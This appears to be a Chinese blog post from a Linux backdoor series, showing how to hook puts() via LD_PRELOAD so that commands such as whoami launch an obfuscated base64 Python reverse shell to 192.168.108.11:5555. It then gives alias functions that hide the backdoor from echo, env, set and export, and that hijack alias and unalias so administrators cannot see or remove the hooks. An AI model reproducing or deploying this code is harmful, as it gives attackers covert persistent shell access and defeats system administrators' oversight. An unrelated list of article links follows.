LD_PRELOAD 后门 | Linux 后门系列
LD_PRELOAD 都快被写烂了,基本都是绕过 disable_functions ,之后分析得也比较完整,比较复杂
其实知识点也就是一个加载顺序的问题,之前咱们已经针对PATH的加载路径劫持做了介绍,这次原理没变,只不过是劫持函数,需要的知识点更高一些
动态链接库加载过程中会先加载 LD_PRELOAD 指向的变量,这样我们可以利用这个先加载来进行劫持正常的函数和命令
这次我们劫持 whoami
命令 ,查看一下 whoami 命令都调用了哪些库函数
可以看到这里有一个 whoami ,我们就劫持它,思路如下:
- 覆盖这个函数,并且在内部重写
- 先把原函数指针赋值给一个变量
- 执行我们的代码
- 执行原函数
- 正常返回值
preload.c
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
int puts(const char *message) {
int (*new_puts)(const char *message);
int result;
new_puts = dlsym(RTLD_NEXT, "puts");
system("python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xMDguMTEiLCA1NTU1KSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDApCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAxKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMikKICAgICAgICBwID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsICItaSJdKQogICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgIGV4aXQoKQ==')))"");
result = new_puts(message);
return result;
}
这里的 payload 使用咱们 alias 后门文章中的 payload
编译
可以看到可执行文件 hook.so 已经完成了
设置 LD_PRELOAD
成功获取到反弹shell ,劫持成功。
加固后门
正常大家检查是否存在 LD_PRELOAD 后门的时候都是直接 echo $LD_PRELOAD
这样直接就可以看到我们修改的环境变量了,相信大家已经想到了,可以使用上一节 alias 后门的想法进行隐藏
在这之前,我们还是要先把查看环境变量的方式大概总结出来,这样呢,可以一次性隐匿一下:
- echo $LD_PRELOAD
- env
- set
- export
- cat /proc/$PID/environ
我能想到的大概就上面五种,其中 cat /proc/$PID/environ
我们不进行劫持,因为比较复杂,不好把控,容易弄巧成拙
alias 技巧主要有以下几个步骤:
- 查看原命令没有设置后门时候显示什么样
- 查看原命令设置后门后显示什么样
- alias 劫持一下显示,让设置后的显示与设置前一致
- 千万记得先去看一下是否系统默认或者管理员设置过这个命令的别名,参照之前的 ls
- 劫持 alias ,让 alias 设置的别名不显示
- 劫持 unalias ,让系统管理员无法直接用 unalias 命令来取消 alias 等别名
先来 echo
- 没有设置后门时是这样的
- 设置后门后是这样的
- alias 劫持显示 这个简单了,把这些字符替换成空就行了
之前没有定义echo的别名,很好
alias echo='func(){ echo $* | sed "s!/home/helper/hook.so! !g";};func'
成功劫持!
咱们把劫持 unalias 和劫持 alias 放在最后,先把这些命令都劫持一下:
env
- 没有后门时候是这样的
- 设置了后门之后是这样的
这个太简单了,直接 grep -v 就可以实现了
- 劫持显示
之前没有设置过env 的别名
alias env='func(){ env $* | grep -v "/home/helper/hook.so";};func'
成功劫持
set
- 没有设置后门时候是这样的
很长,我们直接使用 grep 来进行筛选查询吧:
可以看到,完全是空的对吧,毕竟我们没有进行修改嘛,这里我为什么要 grep env 呢?一会揭晓...
- 设置后门后是这样的
set 命令返回的结果巨长,所以我是直接 grep 了一下
仔细看图里的东西,这都是我一不留神发现的,上一步我们设置的env 别名会出现在 set 中,但是吧,需要执行一次 env 后才会出现在 set 中
- 劫持显示
alias set='func(){ set $* | grep -v "/home/helper/hook.so";};func'
成功劫持
export
- 没有设置后门时候是这样的
- 设置后门后是这样的
大家都熟悉了吧,咋写估计都快能背下来了
- 劫持显示
alias export='func(){ export $* | grep -v "/home/helper/hook.so";};func'
成功劫持显示,同时呢,因为之前劫持set 后,export这一条也不会在 set 中显示,啊,我真是个天才,哈哈哈
劫持 unalias
alias unalias='func(){ if [ $# != 0 ]; then if [ $* != "echo" ]&&[ $* != "env" ]&&[ $* != "set" ]&&[ $* != "export" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};func'
劫持 alias
默认情况 alias 一下就露馅了对吧,所以我们劫持它
alias alias='func(){ alias "$@" | grep -v unalias | grep -v hook.so;};func'
劫持成功
现在我们来进行验证后门还好用吗
可以看到后门可以使用,那么现在我们来看一下以上各种方法还能否看见我们做的手脚
完美!
Tips:
- 使用 readonly 命令设置的环境变量不可修改
- 在有SUID,SGID存在的文件是无视 LD_PRELOAD 的,无法用 :LD_PRELOAD 劫持
- 这些命令的源码 git clone git://git.sv.gnu.org/coreutils
- man puts 可以获取到 puts 函数的基本信息,其中就包括参数名和参数类型
如果不是我为了故意与别人的文章不一样,下面的问题我都不会发现
- whoami 命令和 pwd 命令都调用了 puts 函数,使用 ltrace 进行查看的时候还都实际调用执行了,但是 pwd 不会触发 payload
- 设置好后门后使用 ltrace 追踪 whoami 和 pwd 命令,此时,两个都可以执行 payload
- ltrace 追踪 ssh、id 等命令的时候不会触发 payload
问了一圈人,也没人知道咋回事,到现在我也不知道具体因为什么,如果哪位兄弟知道,麻烦告知一下原因,求求了
参考文章
https://payloads.online/archivers/2020-01-01/1
https://www.elttam.com/blog/goahead/
https://www.exploit-db.com/papers/13233
https://attack.mitre.org/techniques/T1055/
- 使用 Roslyn 编译器服务
- ExtJS4预览:渲染过程重构和标准化
- Ext JS 4预览:更快、更简单、更稳定
- VR技术的进步推动工业机器人革命
- tLinux 2.2下安装Mono 4.8
- WordPress评论回复邮件样式美化教程
- 基于Aspose.Pdf把pdf文件每一页转换为图片
- 分布式文件存储的数据库开源项目MongoDB
- 使用 JavaScriptService 在.NET Core 里实现DES加密算法
- 拒绝全英文垃圾评论!仅用代码实现
- 在.NET Core 里使用 BouncyCastle 的DES加密算法
- 微信小程序:为了满足三方需求,我们一直在改变
- 让陌生人能够相互自由交易和支付
- 斯坦福发布首份 AI Index 报告,AI 研究者不再茫然
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- android判断应用是否已经启动的实例
- 解决android studio引用远程仓库下载慢(JCenter下载慢)
- 在Android中查看当前Activity是否销毁的操作
- Android 7.0 运行时权限弹窗问题的解决
- Android加密之全盘加密详解
- Android 实现彻底退出自己APP 并杀掉所有相关的进程
- 使用Android开发接入第三方原生SDK实现微信登录
- Android打包篇:Android Studio将代码打包成jar包教程
- Android系统制作自定义签名的例子
- 抖音短视频系统开发,日期加减
- Android开发之InetAddress基础入门简介与源码实例
- Android实现通讯录功能
- 教你用CentOS7下使用mktorrent制作PT种子
- 让 Python 的高阶函数支持链式调用[实用库/轮子]
- 解决了一个 Python Type Hints 的问题,分享一下